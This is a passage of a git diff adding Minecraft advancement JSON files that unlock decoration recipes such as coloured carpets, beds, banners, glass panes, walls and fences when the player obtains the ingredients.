"trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lime_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_carpet" + } + } + }, + "requirements": [ + [ + "has_lime_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lime_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/lime_carpet_from_white_carpet.json new file mode 100644 index 00000000..2bdd12e4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lime_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_lime_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lime_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_lime_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lime_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/lime_glazed_terracotta.json new file mode 100644 index 00000000..1daa7420 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lime_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_glazed_terracotta" + ] + }, + "criteria": { + "has_lime_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lime_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_lime_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lime_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/lime_stained_glass_pane.json new file mode 100644 index 00000000..254df910 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lime_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lime_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lime_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/lime_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..03fa3b49 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lime_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lime_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_lime_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:lime_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lime_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_lime_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/lodestone.json b/src/data/minecraft/advancements/recipes/decorations/lodestone.json new file mode 100644 index 00000000..ead4dba0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/lodestone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lodestone" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lodestone" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/loom.json b/src/data/minecraft/advancements/recipes/decorations/loom.json new file mode 100644 index 00000000..85e6c48a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/loom.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:loom" + ] + }, + "criteria": { + "has_string": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:string" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:loom" + } + } + }, + "requirements": [ + [ + "has_string", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/magenta_banner.json b/src/data/minecraft/advancements/recipes/decorations/magenta_banner.json new file mode 100644 index 00000000..08c85bdc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/magenta_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_banner" + ] + }, + "criteria": { + "has_magenta_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:magenta_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_banner" + } + } + }, + "requirements": [ + [ + "has_magenta_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/magenta_bed.json b/src/data/minecraft/advancements/recipes/decorations/magenta_bed.json new file mode 100644 index 00000000..25ea54c9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/magenta_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_bed" + ] + }, + "criteria": { + "has_magenta_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:magenta_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_bed" + } + } + }, + "requirements": [ + [ + "has_magenta_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/magenta_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/magenta_bed_from_white_bed.json new file mode 100644 index 00000000..db91507b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/magenta_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/magenta_carpet.json b/src/data/minecraft/advancements/recipes/decorations/magenta_carpet.json new file mode 100644 index 00000000..b6dacbbe --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/magenta_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_carpet" + ] + }, + "criteria": { + "has_magenta_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:magenta_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_carpet" + } + } + }, + "requirements": [ + [ + "has_magenta_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/magenta_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/magenta_carpet_from_white_carpet.json new file mode 100644 index 00000000..73de4b82 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/magenta_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_magenta_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:magenta_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_magenta_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/magenta_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/magenta_glazed_terracotta.json new file mode 100644 index 00000000..6d15afe2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/magenta_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_glazed_terracotta" + ] + }, + "criteria": { + "has_magenta_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:magenta_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_magenta_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/magenta_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/magenta_stained_glass_pane.json new file mode 100644 index 00000000..00819aa3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/magenta_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:magenta_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/magenta_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/magenta_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..f1aa8e89 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/magenta_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magenta_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_magenta_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:magenta_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magenta_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_magenta_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/mossy_cobblestone_wall.json b/src/data/minecraft/advancements/recipes/decorations/mossy_cobblestone_wall.json new file mode 100644 index 00000000..4244286c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/mossy_cobblestone_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_cobblestone_wall" + ] + }, + "criteria": { + "has_mossy_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_cobblestone_wall" + } + } + }, + "requirements": [ + [ + "has_mossy_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/mossy_cobblestone_wall_from_mossy_cobblestone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/mossy_cobblestone_wall_from_mossy_cobblestone_stonecutting.json new file mode 100644 index 00000000..240ea99b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/mossy_cobblestone_wall_from_mossy_cobblestone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_cobblestone_wall_from_mossy_cobblestone_stonecutting" + ] + }, + "criteria": { + "has_mossy_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_cobblestone_wall_from_mossy_cobblestone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_mossy_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/mossy_stone_brick_wall.json b/src/data/minecraft/advancements/recipes/decorations/mossy_stone_brick_wall.json new file mode 100644 index 00000000..a158e57c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/mossy_stone_brick_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_stone_brick_wall" + ] + }, + "criteria": { + "has_mossy_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_stone_brick_wall" + } + } + }, + "requirements": [ + [ + "has_mossy_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/mossy_stone_brick_wall_from_mossy_stone_brick_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/mossy_stone_brick_wall_from_mossy_stone_brick_stonecutting.json new file mode 100644 index 00000000..baa015e0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/mossy_stone_brick_wall_from_mossy_stone_brick_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mossy_stone_brick_wall_from_mossy_stone_brick_stonecutting" + ] + }, + "criteria": { + "has_mossy_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mossy_stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mossy_stone_brick_wall_from_mossy_stone_brick_stonecutting" + } + } + }, + "requirements": [ + [ + "has_mossy_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/nether_brick_fence.json b/src/data/minecraft/advancements/recipes/decorations/nether_brick_fence.json new file mode 100644 index 00000000..af197411 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/nether_brick_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_brick_fence" + ] + }, + "criteria": { + "has_nether_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_brick_fence" + } + } + }, + "requirements": [ + [ + "has_nether_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/nether_brick_wall.json b/src/data/minecraft/advancements/recipes/decorations/nether_brick_wall.json new file mode 100644 index 00000000..41e3b679 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/nether_brick_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_brick_wall" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_brick_wall" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/nether_brick_wall_from_nether_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/nether_brick_wall_from_nether_bricks_stonecutting.json new file mode 100644 index 00000000..fb6efbe4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/nether_brick_wall_from_nether_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:nether_brick_wall_from_nether_bricks_stonecutting" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:nether_brick_wall_from_nether_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/oak_fence.json b/src/data/minecraft/advancements/recipes/decorations/oak_fence.json new file mode 100644 index 00000000..7dd3567c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/oak_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_fence" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_fence" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/oak_sign.json b/src/data/minecraft/advancements/recipes/decorations/oak_sign.json new file mode 100644 index 00000000..e9f71a6b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/oak_sign.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_sign" + ] + }, + "criteria": { + "has_oak_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_sign" + } + } + }, + "requirements": [ + [ + "has_oak_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/orange_banner.json b/src/data/minecraft/advancements/recipes/decorations/orange_banner.json new file mode 100644 index 00000000..3224459e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/orange_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_banner" + ] + }, + "criteria": { + "has_orange_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:orange_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_banner" + } + } + }, + "requirements": [ + [ + "has_orange_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/orange_bed.json b/src/data/minecraft/advancements/recipes/decorations/orange_bed.json new file mode 100644 index 00000000..d54b0f2c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/orange_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_bed" + ] + }, + "criteria": { + "has_orange_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:orange_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_bed" + } + } + }, + "requirements": [ + [ + "has_orange_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/orange_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/orange_bed_from_white_bed.json new file mode 100644 index 00000000..8d7ed620 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/orange_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/orange_carpet.json b/src/data/minecraft/advancements/recipes/decorations/orange_carpet.json new file mode 100644 index 00000000..f43e1cca --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/orange_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_carpet" + ] + }, + "criteria": { + "has_orange_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:orange_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_carpet" + } + } + }, + "requirements": [ + [ + "has_orange_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/orange_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/orange_carpet_from_white_carpet.json new file mode 100644 index 00000000..bce3127e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/orange_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_orange_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:orange_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_orange_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/orange_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/orange_glazed_terracotta.json new file mode 100644 index 00000000..3a5356d2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/orange_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_glazed_terracotta" + ] + }, + "criteria": { + "has_orange_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:orange_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_orange_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/orange_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/orange_stained_glass_pane.json new file mode 100644 index 00000000..60489682 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/orange_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:orange_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/orange_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/orange_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..92aee350 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/orange_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:orange_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_orange_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:orange_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:orange_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_orange_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/painting.json b/src/data/minecraft/advancements/recipes/decorations/painting.json new file mode 100644 index 00000000..92adb524 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/painting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:painting" + ] + }, + "criteria": { + "has_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:painting" + } + } + }, + "requirements": [ + [ + "has_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/pink_banner.json b/src/data/minecraft/advancements/recipes/decorations/pink_banner.json new file mode 100644 index 00000000..ad8c6e56 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/pink_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_banner" + ] + }, + "criteria": { + "has_pink_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_banner" + } + } + }, + "requirements": [ + [ + "has_pink_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/pink_bed.json b/src/data/minecraft/advancements/recipes/decorations/pink_bed.json new file mode 100644 index 00000000..f7780346 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/pink_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_bed" + ] + }, + "criteria": { + "has_pink_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_bed" + } + } + }, + "requirements": [ + [ + "has_pink_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/pink_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/pink_bed_from_white_bed.json new file mode 100644 index 00000000..dc04564e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/pink_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + 